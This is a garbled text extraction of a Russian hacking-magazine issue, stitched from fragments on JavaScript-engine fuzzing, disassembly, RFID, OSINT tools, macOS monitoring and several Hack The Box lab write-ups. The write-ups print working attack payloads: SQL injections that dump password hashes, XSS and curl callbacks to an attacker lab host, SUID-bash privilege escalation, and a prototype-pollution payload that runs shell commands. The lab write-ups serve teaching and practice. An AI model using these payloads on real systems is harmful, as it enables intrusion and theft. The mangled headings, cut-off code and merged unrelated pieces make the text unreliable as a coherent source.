ный машинный код. WarpMonkey — оптимизированный машинный код.
Пайплайн SpiderMonkey
Ñáîðêà
В инструкции пишут, что нужно просто клонировать репозиторий Gecko
и запустить fuzzbuild.
Но на самом деле надо применить патчи из папки Patches. И только после
этого билдить. К тому же запускать fuzzbuild нужно не из js/src, а из рута
gecko-dev.
Что ж, приступаем. Нам понадобится curl и компилятор Rust для сборки движ-
ка.
Rust установлен
Билдим
Ôàççèíã
После того как движок собран, можем запустить фаззинг из папки fuzzilli.
Команды запуска и параметры фаззера те же, кроме профиля и исполняемо-
го файла.
# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=spidermonkey --resume
--storagePath=$HOME/fuzzilli-storage-sm $HOME/gecko-dev/obj-
fuzzbuild/dist/bin/js
Фаззим SpiderMonkey
Òåîðèÿ
Вообще, можно сказать, что это потомок JavaScript-движка KJS из браузера
Konqueror, входящего в KDE. Проект WebKit стартовал в 2001 году как форк
от KHTML и KJS.
Пайплайн у него самый сложный, четырехуровневый.
• LLint или Low Level Interpreter — это просто интерпретатор байт-кода, сге-
нерированного из исходного кода JavaScript.
• Далее идет немного оптимизирующий компилятор Baseline. Оба они
собирают информацию, необходимую для дальнейших оптимизаций
машинного кода.
• Следующий компонент — DFG JIT (Data Flow Graph Just In Time). Он отве-
чает за повышение оптимизации машинного кода.
• Ну и FTL JIT (Faster Than Light), генерирует наиболее оптимизированный
машинный код.
Пайплайн KJS
Ñáîðêà
Смотрим, что пишут в Targets по поводу JavaScriptCore.
Сборка JSC
Ôàççèíã
Когда сборка движка будет закончена, можем запускать фаззинг. Поехали!
# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=jsc --resume --storagePath
=$HOME/fuzzilli-storage-jsc $HOME/WebKit/FuzzBuild/Debug/bin/jsc
Фаззинг JavaScriptCore
ÂÛÂÎÄÛ
ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ
void func();
int main()
{
int a;
func();
a=0x666;
func();
}
void func()
{
int a;
a++;
}
.text:000000014000103C retn
.text:000000014000103C main endp
int func()
{
return 0;
}
int main()
{
int (*a)();
a = func;
a();
}
.text:0000000140001000 loc_140001000:
.text:0000000140001000 xor eax, eax
.text:0000000140001002 retn
.text:0000000140001002 ; -------------------------------------------
.text:0000000140001010 main proc near
.text:0000000140001010
.text:0000000140001010 var_18 = qword ptr -18h
.text:0000000140001010
.text:0000000140001010 sub rsp, 38h
.text:0000000140001014 lea rax, loc_140001000
.text:000000014000101B mov [rsp+38h+var_18], rax
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
int func_1()
{
return 0;
}
int func_2()
{
return 0;
}
int func_3()
{
return 0;
}
int main()
{
int x;
int a[3]={(int) func_1,(int) func_2, (int) func_3};
int (*f)();
.text:0000000140001000 loc_140001000:
.text:0000000140001000 xor eax, eax
.text:0000000140001002 retn
int funct()
{
return 0;
}
int main()
{
__asm
{
LEA ESI, return_addr
PUSH ESI
JMP funct
return_addr:
}
}
.text:00401020 loc_401020:
.text:00401020 pop esi
.text:00401021 pop ebp
.text:00401022 retn
.text:00401022 _main endp
ÏÐÎËÎÃ
push ebp
mov ebp, esp
sub esp, xx
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÝÏÈËÎÃ
pop ebp
add esp, 64h
retn
Эпилог 2:
Важно отметить: между командами POP EBP / ADD ESP, xxx и MOV ESP,EBP /
POP EBP могут находиться и другие команды — они не обязательно должны
следовать вплотную друг к другу. Поэтому для поиска эпилогов контекстный
поиск непригоден — требуется применять поиск по маске.
Если функция написана с учетом соглашения PASCAL, то ей приходится
самостоятельно очищать стек от аргументов. В подавляющем большинстве
случаев это делается инструкцией RET n, где n — количество байтов, сни-
маемых из стека после возврата. Функции же, соблюдающие С-соглашение,
предоставляют очистку стека вызывающему их коду и всегда оканчиваются
командой RET. API-функции Windows представляют собой комбинацию сог-
лашений С и Pascal — аргументы заносятся в стек справа налево, но очищает
стек сама функция.
Таким образом, RET может служить достаточным признаком эпилога фун-
кции, но не всякий эпилог — это конец. Если функция имеет в своем теле нес-
колько операторов return (как часто и бывает), компилятор в общем случае
генерирует для каждого из них свой собственный эпилог. Необходимо обра-
тить внимание, находится ли за концом эпилога новый пролог, или продол-
жается код старой функции.
Также нельзя забывать и о том, что компиляторы обычно (но не всегда!)
не помещают в исполняемый файл код, никогда не получающий управления.
Иначе говоря, у функции будет всего один эпилог, а все находящееся после
первого return будет выброшено как ненужное. Между тем не стоит спешить
вперед паровоза. Откомпилируем с параметрами по умолчанию следующий
пример (Listing5):
int func(int a)
{
return a++;
a=1/a;
return a;
}
int main()
{
func(1);
}
int func(int a)
{
if (a != 0)
return a++;
return 1/a;
}
int main()
{
func(1);
}
Ñïåöèàëüíîå çàìå÷àíèå
Начиная с процессора 80286, в наборе команд появились две инструкции —
ENTER и LEAVE, предназначенные специально для открытия и закрытия кадра
стека. Однако они практически никогда не используются современными ком-
пиляторами. Почему?
Причина в том, что ENTER и LEAVE очень медлительны, намного медлитель-
нее PUSH EBP / MOV EBP,ESP / SUB ESB, xxx и MOV ESP,EBP / POP EBP. Так,
на старом добром Pentium ENTER выполняется за десять тактов, а приведен-
ная последовательность команд — за семь. Аналогично LEAVE требует пять
тактов, хотя ту же операцию можно выполнить за два (и даже быстрее, если
разделить MOV ESP,EBP / POP EBP какой-нибудь командой).
Поэтому современный исследователь никогда не столкнется ни с ENTER,
ни с LEAVE. Хотя помнить об их назначении будет нелишне. Мало ли, вдруг
придется дизассемблировать древние программы или программы, написан-
ные на ассемблере, — не секрет, что многие пишущие на ассемблере очень
плохо знают тонкости работы процессора и их «ручная оптимизация» заметно
уступает компилятору по производительности.
#include <stdio.h>
inline int max(int a, int b)
{
if(a > b)
return a;
return b;
}
#include <iostream>
#include <sstream>
#include <string>
using namespace std;
VS Code
Вывод приложения
ÂÛÂÎÄÛ
АТАКУЕМ СИСТЕМЫ
КОНТРОЛЯ ДОСТУПА
НА ОСНОВЕ RFID
Маркировка живот-
EM4102 64 бита 5 байт
ных
Маркировка живот-
EM4105 128 бит 8 байт
ных
Самая важная для нас в этой схеме группа из голубых и синих битов, которые
вместе составляют 5 байт (40 бит) и служат уникальным идентификационным
кодом RFID-метки.
На этом теоретическая часть окончена. Давай посмотрим, как выглядят
атаки на подобные системы.
12 00 EC DA A2
12 00 EC DA A3
12 00 EC DA A4
12 00 EC DA A5
12 00 EC DA A6
...
Конечно, они здесь не просто так. На самом деле по факту эти цифры явля-
ются частью UID, но в десятичном формате.
Рассмотрим пример с этой карты:
• 0008671306 = 0x0084504A — 4 байта UID;
• 132 = 0x84 — ID клиента отдельно;
• 20554 = 0x504A — 2 старших байта отдельно.
ÌÅÒÎÄÛ ÇÀÙÈÒÛ
ШЕСТЬ ДОКЛАДОВ,
КОТОРЫЕ СТОИТ
ПОСМОТРЕТЬ БАГХАНТЕРУ
Мне повезло выступить первым на этом митапе, сразу после короткого всту-
пительного слова от организаторов.
Я рассказал слушателям о своем опыте исследования экосистемы
WordPress и о том, как меня сначала пригласили в закрытую багбаунти-прог-
рамму, а полгода спустя — уже в команду организатора этой программы
на роль исследователя безопасности.
В мае 2023-го, что символично, WordPress исполнилось двадцать лет.
Было интересно подвести некоторый промежуточный итог и переосмыслить
достижения и актуальное состояние, прежде всего вопросов безопасности
этой системы. Вне всяких сомнений, это самый популярный движок на рынке,
и он весьма безопасен, если говорить именно о ядре — WordPress Core.
А вот с багбаунти у WordPress не все радужно.
Не секрет, что у WordPress есть сразу две официальные ББ-программы
на HackerOne: WordPress и Automattic. Скоуп приличный, но покрывает он
только сервисы и плагины компании, а также само ядро движка. Выплаты
скромные: не встречал наград выше 800 долларов США, и это за критическую
уязвимость.
ÎÁÙÈÅ ÂÏÅ×ÀÒËÅÍÈß
ÂÛÂÎÄÛ
ЭКСПЛУАТИРУЕМ SQL-
ИНЪЕКЦИЮ ДЛЯ АТАКИ НА SQLITE
ЧЕРЕЗ WEBSOCKET
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.206 socket.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
SSH ничего не даст, с веб-сокетами тоже пока что ничего не ясно, поэтому
проходим на основной сайт. Как видно из http-title, выполняется редирект
на адрес http://qreader.htb. Добавим этот домен в файл /etc/hosts
и откроем в браузере.
ÒÎ×ÊÀ ÂÕÎÄÀ
На странице видим ссылки для скачивания исполняемых файлов для Windows
и Linux.
proxychains -q ./qreader
{
"version": "0.0.2" -- -"
}
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
Первым делом попробуем определить количество столбцов в текущей таб-
лице. Для этого будем использовать UNION-запрос с переменным количес-
твом столбцов.
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
{
"version": "qwe0.0.2" union select 1,sqlite_version(),3,4 -- -"
}
{
"version": "qwe0.0.2" union select 1,group_concat(name),3,4 from
sqlite_schema -- -"
}
{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master
where type!="meta" and name="users" and sql not null -- -"
}
{
"version": "qwe0.0.2" union select 1,group_concat(username),
group_concat(password),4 from users -- -"
}
Получили один хеш, по виду это MD5. Отправляем его на перебор по онлай-
новым базам и получаем пароль.
{
"version": "qwe0.0.2" union select 1,sql,3,4 from sqlite_master
where type!="meta" and name="answers" and sql not null -- -"
}
{
"version": "qwe0.0.2" union select 1,group_concat(answered_by),
group_concat(answer),4 from answers -- -"
}
Флаг пользователя
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Настройки судоера
import os
os.system("chmod u+s /bin/bash")
/bin/bash -p
Флаг рута
ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ
НА RUBY ON RAILS
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.190 derailed.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Созданная заметка
Запускаем:
ÒÎ×ÊÀ ÂÕÎÄÀ
В списке сразу отмечаем страницу администратора /administration,
которая недоступна даже авторизованному пользователю.
Страница /report
Информация о заметке
<select<style/>W<xmp<script>alert(1)</script>
<select<style/><script>alert(1)</script>
<select<style/><img src='http://10.10.14.6/test'>
Тестирование нагрузки
Логи листенера nc
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
XSS â Ruby on Rails
Добиться выполнения скриптов было просто, для этого используем извес-
тный метод через параметр onerror. Код из него исполняется в том случае,
когда браузер не может загрузить картинку. Для проверки выполняем JS-код,
который выполнит запрос на наш сервер.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img
src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(
118,97,.....,41,59))">
Логи веб-сервера
Страница administration
Логи веб-сервера
|curl http://10.10.14.44/test_rce
Логи веб-сервера
Флаг пользователя
ÏÐÎÄÂÈÆÅÍÈÅ
Для продвижения к другому пользователю стоит поискать учетные данные.
Так как в системе есть веб-приложение с базой данных, это наша первая
цель. В каталоге сайта находим файл sqlite3 и скачиваем на свой компь-
ютер.
ssh-keygen -t rsa
ssh-keygen -e -f id_rsa.pub
Применение настроек
Флаг рута
ИСПОЛЬЗУЕМ
ANSIBLE PLAYBOOKS
ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
Наша цель — захват тренировочной машины Inject с площадки Hack The Box.
Уровень ее сложности — легкий.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.204 inject.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
На сайте можно зарегистрироваться и залогиниться, к тому же в глаза бро-
сается возможность загружать файлы через пункт меню Upload. Перейти
на эту страницу и загрузить файл получится и без авторизации.
Burp History
ÒÎ×ÊÀ ÎÏÎÐÛ
При попытке раскрутить уязвимость обнаруживаем, что мы можем не только
смотреть файлы, но и получать листинги каталогов.
Spring4Shell
Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том,
как это работает, можешь прочитать в блоге Sysdig. Чтобы проверить уяз-
вимость, попробуем запустить простой веб-сервер на основе Python
3 и обратиться к нему с удаленного сервера:
curl http://10.10.14.16/test_rce
Логи веб-сервера
ÏÐÎÄÂÈÆÅÍÈÅ
В домашнем каталоге пользователя находим скрытую папку .m2 для настроек
Maven.
Флаг пользователя
/opt/automation/tasks/*.yml
/bin/bash -p
Флаг рута
Машина захвачена!
ВЗЛОМ
ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.192 pollution.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Наиболее вероятная точка входа при таком выборе — веб-сайт. Его-то и про-
верим первым делом.
Информация на сайте
ÒÎ×ÊÀ ÂÕÎÄÀ
Регистрируемся на форуме, так как это позволит расширить область иссле-
дования. Сразу копируем себе список пользователей, иногда это очень важ-
ная информация.
Пользователи форума
Страница администратора
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION
ÒÎ×ÊÀ ÎÏÎÐÛ
XXE
python3 -m http.server 80
Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подклю-
чаемый файл bootstrap.php.
И получаем секрет для подключения к службе Redis. К ней перейдем чуть поз-
же, а пока продолжим выжимать максимум из XXE. Правда, больше исходные
коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном
из доменов. Вспоминаем про домен developers. Получим учетные данные
из файла /var/www/developers/.htpasswd.
Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом
поможет справка hashcat.
Описание хеша
Auth Bypass
Порт открыт, поэтому подключаемся с найденным паролем и получаем все
ключи.
Burp History
Ключи Redis
Создание нагрузки
Эксплуатация RCE
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЭКСПЛУАТИРУЕМ XXE
И РАЗБИРАЕМСЯ
С УЯЗВИМОСТЬЮ
PROTOTYPE POLLUTION
ÏÐÎÄÂÈÆÅÍÈÅ
Теперь нам необходимо собрать информацию о системе и потенциальных
способах повышения привилегий до рута. Я для этого использую скрипты
PEASS.
Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.
Процесс nodejs
Так как работает служба базы данных MySQL, скорее всего, базы данных
используются веб-приложением. Значит, мы можем найти в исходных кодах
сайта учетные данные для подключения к СУБД и получить из базы все инте-
ресные данные. Код для подключения к СУБД находим в файле login.php.
show tables;
touch r.php
python3 fpm.py -c '<?php system("id"); ?>' 127.0.0.1 /tmp/r.php
Выполнение команды id
/tmp/bash -p
Флаг пользователя
При этом из admin.js тоже видим механизм аутентификации, где перед про-
веркой роли список пользователей извлекается из базы данных запросом
User.findAll. Подробности можем найти в файле User.js.
show tables;
Результат запроса
Prototype pollution
В JavaScript классы реализуются с помощью так называемых прототипов.
Прототип любого объекта доступен через свойство __proto__, то есть спра-
ведливо следующее:
{
"text":
{
"constructor":
{
"prototype":
{
"shell":"/proc/self/exe",
"argv0":"console.log(require("child_process").
execSync("chmod +s /usr/bin/bash").toString())//",
"NODE_OPTIONS":"--require /proc/self/cmdline"
}
}
}
}
Флаг рута
«ËÓÊÎÂÀß» DNS
Разведка через Whois и сервисы типа DNSdumpster в сети Tor просто невоз-
можна, ведь луковичная система доменов работает совсем не так, как обыч-
ная. Вот ее основные отличия:
1. Существует только единая доменная зона .onion, домены состоят из сге-
нерированных идентификаторов, из-за чего в принципе отсутствует та
самая иерархическая структура с TLD, SLD и поддоменами.
2. Децентрализованное хранение — это главная проблема собирающего
информацию, ведь из-за него невозможно послать запрос к Whois. В клас-
сической DNS информация о доменах и соответствующих им IP-адресах
хранится на централизованных DNS-серверах. В Tor информация
о доменах .onion и их адресах хранится на распределенных узлах в сети
Tor.
3. Отличаются и протоколы. Если в классической DNS используются запросы
UDP и TCP-запросы, то система DNS в Tor напрямую обращается к рас-
пределенным узлам хранения, чтобы получить нужный адрес.
ÑÒÐÓÊÒÓÐÀ ÑÀÉÒÎÂ
ÒÅÍÅÂÀß ÝÊÎÍÎÌÈÊÀ
ÏÎÈÑÊÎÂÈÊÈ
site:oldforum.xakep.ru intext:moon
ËÎÂÓØÊÈ
Ловушки вроде IP Logger или Canary Tokens — это самое простое и малобюд-
жетное, что бывает. В случае с Canary Tokens ты можешь развернуть свой
сервер с помощью готового образа для Doсker, который любезно предос-
тавили нам разработчики. У этого инструмента много интересных возможнос-
тей, и, на мой взгляд, его часто недооценивают.
Что до IP Logger, то не рекомендую использовать его при попытках выс-
ледить профессионалов. Эта программа скорее напоминает детскую
игрушку, а не рабочий инструмент, и мало-мальски продвинутый поль-
зователь сразу заподозрит недоброе.
ÔÈÍÃÅÐÏÐÈÍÒÈÍÃ
ÀÍÀËÈÇ ÒÅÊÑÒÀ
Эти инструменты полезны при анализе сайтов в сети Tor. Они помогают соб-
рать информацию о фотографиях, директориях и самую разную информацию
о структуре сайтов. Интересны они тем, что дают максимум сведений о том,
что происходит на сайте, без посещения самого сайта.
Начнем с краулеров, их можно использовать для сбора определенного
типа данных на сайте, к примеру фото, видео, текста и так далее. Например,
ты хочешь перебрать все фото на сайте и найти те, которые содержат
метаданные.
Вот несколько краулеров для Onion:
• TorBot;
• OnionBot;
• OnionScan;
• VigilantOnion;
• OnionIngestor.
ÔÎÐÅÍÇÈÊÀ
TorBrowser\Browser\TorBrowser\Data\Browser\Profile.default
ÂÛÂÎÄÛ
СОБИРАЕМ ИНСТРУМЕНТАРИЙ
СЕТЕВОГО РАЗВЕДЧИКА
В этой статье я покажу пять инструментов для анализа открытых данных в соц-
сетях и Telegram.
1. YASEEKER
Установка YaSeeker
Поскольку Яндекс не очень любит отдавать данные кому попало (по крайней
мере официально), нужно подкинуть инструменту файлы cookies, чтобы тот
притворился реальным пользователем. Для этого можно зарегистрировать
любой одноразовый аккаунт Яндекса и установить расширение для загрузки
файлов cookies в формате Netscape.
Сохраняем cookies
Теперь, когда печеньки для работы есть, можем применять скрипт. Просто
запусти его через python3 и передай аргументом имя пользователя,
о котором хочешь узнать побольше.
2. ENOLA HOLMES
go install github.com/theyahya/enola/cmd/enola@latest
Результаты поиска
3. TELEGRAM-BOT-DUMPER
Этот инструмент весьма пригодится, когда в твоих руках оказался токен бота
в Telegram, — например если ты расследуешь заражение каким-то вредоно-
сом, который управлялся как Telegram-бот. Скрипт достанет переписки всех
пользователей с ботом, включая не только текстовые сообщения, но и все
медиафайлы. Так что Telegram-bot-dumper — не только инструмент OSINT,
но и просто полезная в жизни штуковина.
Для работы потребуется получить API_ID и API_HASH приложения
для Telegram, поэтому желательно создать левый аккаунт — осторожность
не бывает лишней. Ты же не хочешь, чтобы в случае чего в бан полетел твой
личный акк?
Инструмент скачиваем и устанавливаем, как любое Python-приложение:
клонируем репозиторий, переходим в его каталог и ставим зависимости.
Установка Telegram-bot-dumper
Запускаем:
История скачалась
Продолжение статьи →
ТРЮКИ ← НАЧАЛО СТАТЬИ
4. SOCID-EXTRACTOR
5. TELANALYSIS
Настройки экспорта
Облако тегов
ÂÛÂÎÄÛ
ОТСЛЕЖИВАЕМ СИСТЕМНЫЕ
СОБЫТИЯ В MACOS
ÑÏÎÑÎÁÛ ÌÎÍÈÒÎÐÈÍÃÀ
Mac Monitor
А вот процесс-инициализатор.
ÍÓ È ÊÀÊ ÆÅ ÌÎÍÈÒÎÐÈÒÜ?
Изменение параметров
utimes es_event_utimes_t access time
и modication time файла
es_event_uipc_connect
uipc_connect Подключение через сокет
_t
Создание нового
btm_launch_item_a
btm_launch_item_add объекта входа (Launch
dd
Item)
ÏÐÀÊÒÈÊÀ
rm -f "/Users/tofolt/Logs/xakep.ru-2023.log"
Предположим, что у нас уже писались логи в момент заражения. Нам не сос-
тавит труда найти событие добавления скрипта в автозапуск. Большая часть
события была отброшена, оставлены только главные строки. В оригинальных
событиях много информативных полей, в том числе и очень полезных для свя-
зывания событий друг с другом (btm_launch_item_add):
{
"event": {
"btm_launch_item_add": {
"executable_path": "/bin/sh",
"instigator": {
"signing_id": "com.apple.xpc.smd",
"ppid": 1,
"tty": null,
"start_time": "2023-07-09T10:17:55.546995Z",
},
"item": {
"item_url": "file:///Library/LaunchAgents/com.hacker.
annoying.task.plist",
}
}
},
"time": "2023-07-09T14:08:03.326637707Z",
}
{
"event": {
"exec": {
"script": {
"path": "/Users/tofolt/Downloads/DeleteLogFile.sh",
},
"executable": {
"path": "/bin/sh",
},
"start_time": "2023-07-09T14:33:56.804354Z",
"is_platform_binary": true,
"group_id": 22017,
"audit_token": {
"asid": 100005,
"pidversion": 49567,
"ruid": 503,
"euid": 503,
"rgid": 20,
"auid": 503,
"egid": 20,
"pid": 22017
},
},
"args": [
"/bin/sh",
"/Users/tofolt/Downloads/DeleteLogFile.sh"
],
},
"time": "2023-07-09T14:33:56.814464013Z",
"action": {
"result": {
"result": {
"auth": 0
},
"result_type": 0
}
}
{
"event": {
"unlink": {
"target": {
"path": "/Users/tofolt/Logs/xakep.ru-2023.log",
},
"parent_dir": {
"path": "/Users/tofolt/Logs",
}
}
},
"time": "2023-07-09T14:34:57.713064962Z",
"executable": {
"path": "/bin/rm",
},
"ppid": 22069,
},
"start_time": "2023-07-09T14:34:57.704093Z",
}
ÈÑÏÎËÜÇÎÂÀÍÈÅ Â ÈÍÔÐÀÑÒÐÓÊÒÓÐÅ
ÍÎÐÌÀËÈÇÀÖÈß È ÔÈËÜÒÐÀÖÈß
Сразу уточню, что предложенный ниже вариант лишь вариация на тему «как
это можно делать». Итак, для нормализации будем использовать инструмент
под названием fx. Для фильтрации возьмем другой инструмент — jq.
Приведем JSON в нормальный вид с помощью скрипта на Python 3:
import sys
out: str = "["
lines = sys.stdin.readlines()
for index, line in enumerate(lines):
if index == len(lines)-1:
out += "{}".format(line)
else:
out += "{}{}".format(line, ",")
out += "]"
print(out)
Подскажу пути, которые можно (точно так же, как и Finder) исключить из зах-
вата через eslogger, чтобы не создавать мусор. Многие из путей могут
показаться важными для мониторинга. Однако в 2015 году Apple добавила
механизм System Integrity Protection (SIP), а позже, в 2019-м, разделила диск
на защищенный и незащищенный разделы. SIP предохраняет системные кри-
тически важные директории от вмешательства, и поэтому злоумышленник
не сможет ничего изменить в них, если только ты не отключил SIP вручную.
Поэтому и мониторить их не нужно. Найти список путей для исключения мож-
но в моем репозитории.
ÂÛÂÎÄÛ
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022